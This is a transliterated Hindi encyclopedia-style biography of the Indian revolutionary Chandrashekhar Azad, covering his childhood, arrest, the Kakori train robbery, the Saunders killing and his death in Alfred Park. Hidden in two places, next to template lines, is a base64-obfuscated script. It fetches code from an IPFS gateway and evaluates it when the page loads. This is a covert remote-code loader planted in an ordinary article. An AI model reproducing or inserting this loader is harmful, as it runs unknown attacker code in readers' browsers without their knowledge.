चंद्रशेखर आज़ाद

	chandrashekhar azad
	\|200px\|center
poora nam	pandit chandrashekhar tivari
any nam	azad
janm	23 julaee, 1906
janm bhoomi	adivasi gaanv bhavara, madhy pradesh
mrityu	27 faravari, 1931
mrityu sthan	ilahabad
abhibhavak	pandit sitaram tivari
nagarikata	bharatiy
dharm	hindoo
aandolan	bharatiy svatantrata sangram
vidyalay	sanskrit vidyapith
pramukh sangathan	nauzavan bharat sabha, kirti kisan parti evan hindustan samajavadi ganatantr sangh

chitr:Disamb2.jpg chandrashekhar

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- chandrashekhar (bahuvikalpi)

pandit chandrashekhar azad (aangrezi: Pt. Chandrashekhar Azad, janm- 23 julaee, 1906; mrityu- 27 faravari, 1931) bharatiy svatantrata sangram ke prasiddh kraantikari the. 17 varsh ke chandrashekhar azad kraantikari dal ‘hindustan ripablikan esosieshan’ mean sammilit ho ge. dal mean unaka nam ‘kvik silvar’ (para) tay paya gaya. parti ki or se dhan ekatr karane ke lie jitane bhi kary hue, chandrashekhar un sabamean age rahe. saandars vadh, sentral asembali mean bhagat sianh dvara bam pheankana, vaisaray ko tren bam se u dane ki cheshta, sabake neta vahi the. isase poorv unhoanne prasiddh ‘kakori kaand’ mean sakriy bhag liya aur pulis ki aankhoan mean dhool jhoankakar pharar ho ge. ek bar dal ke liye dhan prapt karane ke uddeshy se ve gajipur ke ek mahant ke shishy bhi bane. irada tha ki mahant ke marane ke bad maru ki sari sanpatti dal ko de deange.

jivan parichay

pandit chandrashekhar azad ka janm ek adivasi gram bhavara mean 23 julaee, 1906 ko hua tha. unake pita pandit sitaram tivari uttar pradesh ke unnav zile ke badar gaanv ke rahane vale the. bhishan akal p dane ke karan ve apane ek rishtedar ka sahara lekar 'alirajapur riyasat' ke gram bhavara mean ja base the. is samay bhavara madhy pradesh ke jhabua zile ka ek gaanv hai. chandrashekhar jab b de hue to vah apane mata–pita ko chho dakar bhag gaye aur banaras ja pahuanche. unake phoopha ji pandit shivavinayak mishr banaras mean hi rahate the. kuchh unaka sahara liya aur kuchh khud bhi juga d bithaya tatha 'sanskrit vidyapith' mean bharti hokar sanskrit ka adhyayan karane lage. un dinoan banaras mean asahayog aandolan ki lahar chal rahi thi. videshi mal n becha jae, isake lie log dukanoan ke samane letakar dharana dete the. 1919 mean hue jaliyaanvala bag narasanhar ne unhean kafi vyathit kiya.

bachapan ka dridhanishchay

ek adivasi gram bhavara ke adhanange adivasi balak milakar dipavali ki khushiyaan mana rahe the. kisi balak ke pas phulajh diyaan thian, kisi ke pas patakhe the aur kisi ke pas mehatab ki machis. balak chandrashekhar ke pas inamean se kuchh bhi nahian tha. vah kh da–kh da apane sathiyoan ko khushiyaan manate hue dekh raha tha. jis balak ke pas mehatab ki machis thi, vah usamean se ek tili nikalata aur usake chhor ko pak dakar darate–darate use machis se rag data aur jab rangin raushani nikalati to darakar us tili ko zamin par pheank deta tha.
balak chandrashekhar se yah dekha nahian gaya, vah bole-
"tum dar ke mare ek tili jalakar bhi apane hath mean pak de nahian rah sakate. maian sari tiliyaan ek sath jalakar unhean hath mean pak de rah sakata hooan."
jis balak ke pas mehatab ki machis thi, usane vah chandrashekhar ke hath mean de di aur kaha-
"jo kuchh bhi kaha hai, vah karake dikhao tab janooan."
balak chandrashekhar ne machis ki sari tiliyaan nikalakar apane hath mean le lian. ve tiliyaan ulti–sidhi rakhi huee thian, arthath kuchh tiliyoan ka rogan chandrashekhar ki hatheli ki taraf bhi tha. usane tiliyoan ki gaddi machis se rag d di. bhakk karake sari tiliyaan jal uthian. jin tiliyoan ka rogan chandrashekhar ki hatheli ki or tha, ve bhi jalakar chandrashekhar ki hatheli ko jalane lagian. asahy jalan hone par bhi chandrashekhar ne tiliyoan ko us samay tak nahian chho da, jab tak ki unaki rangin raushani samapt nahian ho gee. jab unhoanne tiliyaan pheank dian to sathiyoan se bole-
"dekho hatheli jal jane par bhi maianne tiliyaan nahian chho dian."
unake sathiyoan ne dekha ki chandrashekhar ki hatheli kafi jal gee thi aur b de–b de phaphole uth ae the. kuchh l dake dau date hue unaki maan ke pas ghatana ki khabar dene ke lie ja pahuanche. unaki maan ghar ke andar kuchh kam kar rahi thian. chandrashekhar ke pita pandit sitaram tivari bahar ke kamare mean the. unhoanne balakoan se ghatana ka byora suna aur ve ghatanasthal ki or lapake. balak chandrashekhar ne apane pitaji ko ate hue dekha to vah jangal ki taraf bhag gaye. socha ki pitaji ab unaki pitaee kareange. tin din tak vah jangal mean hi rahe. ek din khojati huee unaki maan unhean ghar le aeean. unhoanne yah ashvasan diya tha ki tere pitaji tere se kuchh bhi nahian kaheange.

'azad'

1921 mean jab mahath‍ma gaandhi ke asahayog andolan praranbh kiya to unhoanne usame sakriy yogadan kiya. chandrashekhar bhi ek din dharana dete hue pak de gaye. unhean parasi majistret mi. khareghat ke adalat mean pesh kiya gaya. mi. khareghat bahut k di sajaean dete the. unhoanne balak chandrashekhar se usaki vyaktigat janakariyoan ke bare mean poochhana shuroo kiya -

"tumhara nam kya hai?"
"mera nam azad hai."
"tumhare pita ka kya nam hai?"
"mere pita ka nam svadhin hai."
"tumhara ghar kahaan par hai?"
"mera ghar jelakhana hai."

majistret mi. khareghat in uttaroan se chidh ge. unhoanne chandrashekhar ko pandrah beantoan ki saza suna di. us samay chandrashekhar ki umr keval chaudah varsh ki thi. jallad ne apani poori shakti ke sath balak chandrashekhar ki nirvasan deh par beantoan ke prahar kie. pratyek beant ke sath kuchh khal udh dakar bahar a jati thi. pi da sahan kar lene ka abhyas chandrashekhar ko bachapan se hi tha. vah har beant ke sath "mahatma gaandhi ki jay" ya "bharat mata ki jay" bolate jate tha. jab poore beant lagae ja chuke to jel ke niyamanusar jelar ne usaki hatheli par tin ane paise rakh die. balak chandrashekhar ne ve paise jelar ke muanh par de mare aur bhagakar jel ke bahar ho gaya. is pahali agni pariksha mean sammanarahit uttirn hone ke phalasvaroop balak chandrashekhar ka banaras ke jnanavapi mohalle mean nagarik abhinandan kiya gaya. ab vah chandrashekhar azad kahalane laga. balak chandrashekhar azad ka man ab desh ko azad karane ke ahiansatmak upayoan se hatakar sashastr kranti ki or mu d gaya. us samay banaras krantikariyoan ka gadh tha. vah manmathanath gupt aur pranavesh chatarji ke sampark mean aye aur krantikari dal ke sadasy ban gaye. krantikariyoan ka vah dal "hindustan prajatantr sangh" ke nam se jana jata tha.

kakori kand

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kisi b de abhiyan mean chandrashekhar azad sabase pahale "kakori daqaiti" mean sammilit hue. is abhiyan ke neta ramaprasad bismil the. us samay chandrashekhar azad ki ayu kam thi aur unaka svabhav bhi bahut chanchal tha. isalie ramaprasad bismil use kvik silvar (para) kahakar pukarate the. 9 agast, 1925 ko krantikariyoan ne lakhanoo ke nikat kakori namak sthan par saharanapur - lakhanoo savari ga di ko rokakar usamean rakha aangezi khazana loot liya. bad mean ek–ek karake sabhi krantikari pak de ge; par chandrashekhar azad kabhi bhi pulis ke hath mean nahian ae. yadyapi ve jhaansi mean pulis thane par jakar pulis valoan se gapashap l date the, par pulis valoan ko kabhi bhi un par sandeh nahian hua ki vah vyakti mahanh krantikari chandrashekhar azad ho sakata hai. kakori kaand ke bad unhoanne dal ka naye sire se sangathan kiya. ab usaka nam ‘hindustan soshalist ripablikan esosieshan end armi’ rakha gaya. chandrashekhar is naye dal ke kamaandar the. ve ghoom-ghoom kar gupt roop se dal ka kary badhate rahe. pharari ke dinoan mean jhaansi ke pas ek nadi ke kinare sadhu ke roop mean bhi unhoanne kuchh samay bitaya.

jhaansi pravas

kakori kand ke kee krantikariyoan ko phaansi ke dand aur kee ko lambe–lambe karavas ki sazaean milian. chandrashekhar azad ne khisakakar jhaansi mean apana adda jama liya. jhaansi mean chandrashekhar azad ko ek krantikari sathi mastar rudranarayan sianh ka achchha sanrakshan mila. jhaansi mean hi sadashiv rav malakapurakar, bhagavanadas mahaur aur vishvanath vaishanpayan ke roop mean unhean achchhe sathi mil ge. jhaansi ki 'buandelakhand motar kampani' mean kuchh din unhoanne motar maikenik ke roop mean kam kiya, motar chalana sikha aur pulis adhikshak ki kar chalakar unase motar chalane ka laiseans bhi le ae. buandelakhand motar kampani ke ek draivar ramanand ne chandrashekhar azad ke rahane ke lie apane hi mohalle mean ek kothari kirae par dila di. sab kam thik–thik chal raha tha; par kabhi–kabhi kuchh ghatanaean mohalle ki shanti bhang kar deti thian. azad ki kothari ke pas ramadayal nam ka ek any draivar saparivar rahata tha. vaise to ramadayal bhala adami tha, par rat ko jab vah sharab pikar pahuanchata to bahut hangama karata aur apani patni ko bahut pitata tha. us mahila ka rudan sunakar mohalle valoan ko bahut hi bura lagata tha; par ve kisi ke ghareloo mamale mean dakhal dena uchit nahian samajhate the. ek din subah–subah chandrashekhar azad karakhane jane ke lie apani kothari se bahar nikale to ramadayal se unaki bheant ho gee. ramadayal ne hi bat chhe di-

"kyoan harishankar ji ! (azad ne apana nam harishankar ghoshit kar rakha tha) ajakal ap bahut rat jagakar kuchh thoanka–piti kiya karate haian. apaki thuk–thuk se hamari niand haram ho jati hai.
vaise to azad sthiti ko tal dena chahate the, par ramadayal ne jis dhang se bat kahi thi, vah uttar dene ke lie bahut achchhi lagi aur azad ne eeant ka javab patthar se diya -
"ramadayal bhaee! maian to kal–purazoan ki hi thoanka–piti karata hooan, par tum to sharab ke nashe mean apani goo jaisi patni ki hi thoanka–piti karake mohalle bhar ki niand haram karate rahate ho."
yah uttar ramadayal ko bahut hi tikha laga. use is bat ka bura laga ki koee usake ghareloo mamale mean kyoan hastakshep kare. usaka manushyatv tirohit ho gaya aur pashutv oopar a gaya. krodh se bhanabhanata hua vah ubal p da
"kyoan be! meri patni ka too kaun hota hai, jo too usaka is tarah se paksh le raha hai? maian use marooanga aur khoob marooanga. dekhata hooan, kaun sala use bachata hai."
azad ne shant bhav se use uttar diya -
"jab tumane mujhe sala kaha hai, to tumane yah svikar kar hi liya hai ki maian tumhari patni ka bhaee hooan. ek bhaee apani bahan ko pitate hue nahian dekh sakata hai. ab kabhi sharab ke nashe mean rat ko mara to thik nahian hoga."
ramadayal ko chunauti asahy ho gee. vah apa khokar chilla utha -
"aisi ki taisi rat ki aur nashe ki. maian bina nasha kie hi use din ke ujale mean s dak par lakar marata hooan. dekhean, kaun sala age ata hai use bachane ko."

yah kahata hua ramadayal avesh ke sath apane makan mean ghusa aur apani patni ki choti pak dakar ghasitata hua use bahar le aya aur marane ke lie hath uthaya. vah apani patni par hath ka prahar kar bhi nahian paya tha ki azad ne usaka hath tham liya aur jhataka dekar use apani or khiancha. is jhatake ke karan usake hath se patni ke bal chhoot ge aur vah mukt ho gee. ab azad ne ek bharapoor hath usake gal par de mara. ramadayal ke gal par itane zor ka tamacha p da ki usaki aankhoan ke samane aandhera chha gaya aur vah apane donoan hathoan se apana sir thamakar baith gaya. is bich asapas ke log dau de aur kuchh log azad ko samajhate hue use kothari ke andar le ge. is ghatana ke bad kuchh din tak azad aur ramadayal ki bolachal band ho gee, par azad ne svayan hi pahal karake usase apane sambandh madhur bana lie tatha ab use "jija ji" kahakar pukarane lage. ramadayal ne apani patni ko phir kabhi nahian pita. azad ki dhak poore mohalle mean jam gee. isi se milati–julati ek any ghatana bhi tho de hi antaral se ho gee. jisane poore jhaansi mean azad ki dhak jama di.

orachha pravas

jab jhaansi mean pulis ki halachal badhane lagi to chandrashekhar azad orachha rajy mean khisak ge aur satar nadi ke kinare ek kutiya banakar brahmachari ke roop mean rahane lage. azad ke n pak de jane ka ek rahasy yah bhi tha ki sankat ke samay ve shahar chho dakar gaanvoan ki or khisak jate the aur svayan ko surakshit kar lete the.

hindustan samajavadi prajatantr sena

kranti sootroan ko jo dakar chandrashekhar azad ne ab ek sudridh krantikari sangathan bana dala. ab unaki parti ka nam "hindustan samajavadi prajatantr sena" tha. unake sathiyoan ne unako hi is sena ka "kamandar aph chiph" banaya. ab bhagatasianh jaisa krantikari bhi unaka sathi tha. uttar pradesh aur panjab tak is parti ka karyakshetr badh gaya.

saiman kamishan ka virodh

mukhy lekh : saiman kamishan

un dinoan bharatavarsh ko kuchh rajanitik adhikar dene ki pushti se aangrezi hukoomat ne sar j aaun saiman ke netritv mean ek ayog ki niyukti ki, jo "saiman kamishan" kahalaya. samast bharat mean sainaman kamishan ka zoradar virodh hua aur sthan–sthan par use kale jhande dikhae ge. jab lahaur mean saiman kamishan ka virodh kiya gaya to pulis ne pradarshanakariyoan par berahami se lathiyaan barasaeean. panjab ke lokapriy neta lala lajapataray ko itani lathiyaan lagian ki kuchh din ke bad hi unaki mrityu ho gee. chandrashekhar azad, bhagatasianh aur parti ke any sadasyoan ne lala ji par lathiyaan chalane vale pulis adhikshak saandars ko mrityudand dene ka nishchay kar liya.

lala lajapataray ka badala

17 disambar, 1928 ko chandrashekhar azad, bhagatasianh aur rajaguru ne sandhya ke samay lahaur mean pulis adhikshak ke daftar ko ja ghera. jyoan hi je. pi. saandars apane aangarakshak ke sath motar saikil par baithakar nikala, pahali goli rajaguru ne dag di, jo sadanrs ke mastak par lagi aur vah motar saikil se niche gir p da. bhagatasianh ne age badhakar char–chhah goliyaan aur dagakar use bilkul thanda kar diya. jab saandars ke aangarakshak ne pichha kiya to chandrashekhar azad ne apani goli se use bhi samapt kar diya. lahaur nagar mean jagah–jagah parache chipaka die ge ki lala lajapataray ki mrityu ka badala le liya gaya. samast bharat mean krantikariyoan ke is qadam ko saraha gaya.

kendriy aseanbali mean bam

chandrashekhar azad ke hi saphal netritv mean bhagatasianh aur batukeshvar datt ne 8 aprail, 1929 ko dilli ki kendriy aseanbali mean bam visphot kiya. yah visphot kisi ko bhi nukasan pahuanchane ke uddeshy se nahian kiya gaya tha. visphot aangrez sarakar dvara banae ge kale qanoonoan ke virodh mean kiya gaya tha. is kand ke phalasvaroop bhi krantikari bahut janapriy ho ge. kendriy aseanbali mean bam visphot karane ke pashchath bhagatisianh aur batukeshvar datt ne svayan ko giraphtar kara liya. ve nyayalay ko apana prachar–manch banana chahate the.

alfred park ki ghatana

[[chitr:Statue-of-Legend-Chandrashekhar-Azad-Alfred Park-Allahabad.JPG|thumb|150px|alfred park mean chandrashekhar azad ki pratima]] thumb|150px|chandrashekhar azad dvara prayog ki gee pistaul chandrashekhar azad ghoom–ghoomakar kranti prayasoan ko gati dene mean lage hue the. akhir vah din bhi a gaya, jab kisi mukhabir ne pulis ko yah soochana di ki chandrashekhar azad 'alfred park' mean apane ek sathi ke sath baithe hue haian. vah 27 faravari, 1931 ka din tha. chandrashekhar azad apane sathi sukhadev raj ke sath baithakar vichar–vimarsh kar rahe the. mukhabir ki soochana par pulis adhikshak 'natababar' ne azad ko ilahabad ke alfred park mean gher liya. "tum kaun ho" kahane ke sath hi uttar ki pratiksha kie bina natababar ne apani goli azad par chho d di. natababar ki goli chandrashekhar azad ki jaangh mean ja lagi. azad ne ghisatakar ek jamun ke vriksh ki ot lekar apani goli doosare vriksh ki ot mean chhipe hue natababar ke oopar dag di. azad ka nishana sahi laga aur unaki goli ne natababar ki kalaee to d di. ek ghani jha di ke pichhe si.aee.di. ianspektar vishveshvar sianh chhipa hua tha, usane svayan ko surakshit samajhakar azad ko ek gali de di. gali ko sunakar azad ko krodh aya. jis disha se gali ki avaz aee thi, us disha mean azad ne apani goli chho d di. nishana itana sahi laga ki azad ki goli ne vishveshvarasianh ka jab da to d diya.

REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

shahadat

bahut der tak azad ne jamakar akele hi muqabala kiya. unhoanne apane sathi sukhadevaraj ko pahale hi bhaga diya tha. akhir pulis ki kee goliyaan azad ke sharir mean sama geean. unake mauzar mean keval ek akhiri goli bachi thi. unhoanne socha ki yadi maian yah goli bhi chala dooanga to jivit giraphtar hone ka bhay hai. apani kanapati se mauzar ki nali lagakar unhoanne akhiri goli svayan par hi chala di. goli ghatak siddh huee aur unaka pranaant ho gaya. is ghatana mean chandrashekhar azad ki mrityu ho gee aur unhean postamartam ke lie le jaya gaya. unaki postamartam riport ke anusar unhean tin ya char goliyaan lagi thian. chandrashekhar azad ke shahid hone ka samachar javaharalal neharoo ki patni kamala neharoo ko prapt hua. unhoanne hi kaangresi netaoan aur deshabhaktoan ko yah samachar bataya. shmashan ghat se azad ki asthiyaan lekar ek juloos nikala. ilahabad ki mukhy s dakean avaruddh ho gayian, aisa lag raha tha mano sara desh apane is sapoot ko aantim vidaee dene ke lie um d p da hai. jaloos ke bad ek sabha huee. sabha ko shachindranath sanyal ki patni ne sanbodhit karate hue kaha-

jaise bangal mean khudiram bos ki shahadat ke bad unaki rakh ko logoan ne ghar mean rakhakar sammanit kiya vaise hi azad ko bhi samman milega.

sabha ko javaharalal neharoo ne bhi sambodhit kiya.

vyaktigat jivan

chandrashekhar azad ko vesh badalana bahut achchhi tarah ata tha.
vah roosi krantikari ki kahaniyoan se bahut prabhavit the. unake pas hindi mean lenin ki likhi pustak bhi thi. kiantu unako svayan padhane se adhik doosaroan ko padhakar sunane mean adhik anand ata tha.
chandrashekhar azad sadaiv saty bolate the.
chandrashekhar azad ne sahas ki nee kahani likhi. unake balidan se svatantrata ke lie aandolan tez ho gaya. hazaroan yuvak sh‍vatantrata aandolan mean kood p de.
azad ke shahid hone ke solah varshoan ke bad 15 agast sanh 1947 ko bharat ki azadi ka unaka sapana poora hua.

shraddhaanjali

27 faravari, 1931 ko chandrashekhar azad ke roop mean desh ka ek mahanh krantikari yoddha desh ki azadi ke lie apana balidan de gaya, shahid ho gaya. unako shraddhaanjali dete hue kuchh mahanh vyaktitv ke kathan nimn haian-

chandrashekhar ki mrityu se maian ahat hooan. aise vyakti yug mean ek bar hi janm lete haian. phir bhi hamean ahiansak roop se hi virodh k‍rana chahiye. - mahatma gaandhi
chandrashekhar azad ki shahadat se poore desh mean azadi ke aandolan ka naye roop mean shankhanad hoga. azad ki shahadat ko hiandostan hamesha yad rakhega. - pandit javaharalal neharoo
desh ne ek sachcha sipahi khoya. - muhammad ali jinna
pandit ji ki mrityu meri niji kshati hai. maian isase kabhi ubar nahian sakata. - pandit madan mohan malaviy

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah